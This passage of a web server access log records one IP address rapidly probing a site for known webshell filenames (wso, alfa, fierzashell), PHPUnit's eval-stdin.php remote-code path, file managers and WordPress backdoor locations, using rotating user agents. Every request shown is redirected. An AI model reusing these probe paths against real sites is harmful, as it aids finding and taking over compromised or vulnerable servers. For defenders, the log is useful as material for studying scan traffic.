"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:15 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:15 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:15 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:36:15 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:16 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:16 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:16 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:16 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:16 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:16 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:16 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:16 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:36:17 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:36:17 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:17 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:17 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:17 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:17 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:17 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:17 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:18 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:18 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:18 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:18 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:18 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:36:18 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:18 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:18 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:18 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:18 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:36:19 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:19 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:19 -0400] "GET /wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:19 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:19 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:19 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:19 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:19 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:20 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:20 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:36:20 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:20 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:20 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:20 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:20 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:20 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:21 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:21 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:21 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:21 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:21 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:21 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:36:21 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:22 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:36:22 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:22 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:36:22 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:22 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:22 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:36:22 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:22 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:22 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:23 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:36:23 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:23 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:36:23 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:23 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:23 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:36:23 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:23 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:23 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:24 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:24 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:24 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:36:24 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:24 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:24 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:24 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:24 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:24 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:24 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:25 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:25 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:25 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:36:25 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:25 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:25 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:36:25 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:25 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:36:25 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:25 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:36:26 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:26 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:26 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:26 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:26 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:26 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:26 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:26 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:26 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:26 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:26 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:27 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:27 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:27 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:27 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:27 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:27 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:27 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:27 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:28 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:28 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:28 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - 